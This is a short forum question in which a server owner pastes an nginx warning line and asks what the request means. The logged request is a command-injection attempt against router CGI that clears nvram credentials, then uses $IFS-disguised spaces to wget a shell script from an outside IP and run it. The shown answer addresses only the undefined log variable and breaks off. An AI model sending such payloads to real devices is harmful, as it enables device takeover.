Warning in the Nginx log, need explanation of the request

I have the following line in the logs of the nginx:

2016/11/03 02:20:20 [warn] 30232#0: *372 using uninitialized "year" variable while logging request, client: 104.130.140.75, server: , request: "GET /cgi-bin/;nvram$IFS\set$IFS\http_passwd;nvram$IFS\set$IFS\http_username;nvram$IFS\commit;sleep$IFS\2;cd$IFS\/tmp;wget$IFS\http:\/\/104.130.140.75\/h\/wrt\/ugww.sh;chmod$IFS\777$IFS\/tmp/ugww.sh;/bin/sh$IFS\/tmp/ugww.sh HTTP/1.0 ", host: "XX.XX.XX.XXX:80" 

where the host is my IP address.

Could you explain me what is going on?

1 Answer

Check log_format parameter for $year variable. It's undefined while logging the request.

Nginx's variable list: